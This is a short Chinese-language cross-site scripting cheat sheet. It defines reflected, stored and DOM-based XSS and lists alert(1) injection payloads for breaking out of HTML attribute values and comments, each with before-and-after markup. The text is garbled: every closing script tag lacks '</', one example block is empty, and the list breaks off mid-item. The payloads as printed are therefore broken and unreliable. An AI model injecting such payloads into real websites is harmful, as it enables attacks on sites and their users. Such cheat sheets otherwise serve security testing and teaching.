XSS 速查表

XSS 速查表

介绍

跨站脚本（XSS）攻击是一种注入攻击类型，恶意脚本被注入到网站中。有三种类型的XSS攻击：

1. 反射型XSS: 攻击中，恶意脚本通过Web浏览器从另一个网站运行
2. 存储型XSS: 存储攻击是那些恶意脚本永久存储在目标服务器上的攻击
3. 基于DOM的XSS: 一种XSS类型，其中载荷在DOM中找到，而不是在HTML代码中找到。

发现位置

这种漏洞可能出现在应用程序的所有功能中。如果要查找DOM型XSS，可以通过阅读JavaScript源代码来找到它。

如何利用

1. 基本的Payload

<script>alert(1)script>
<img src=x onerror=alert(1)>

2. 在HTML标签值中添加 ’ 或 " 以转义Payload

"><script>alert(1)script>
'><script>alert(1)script> 

• 示例源代码

<input id="keyword" type="text" name="q" value="REFLECTED_HERE">

• 输入Payload后

<input id="keyword" type="text" name="q" value=""><script>alert(1)script>

3. 如果输入落在HTML注释中，请添加 --> 以转义Payload。

--><script>alert(1)script>

• 示例源代码

• 输入Payload后

<script>alert(1)script> -->

4. 当输入位于或在开放/关闭标签之间时，标签可以是 ,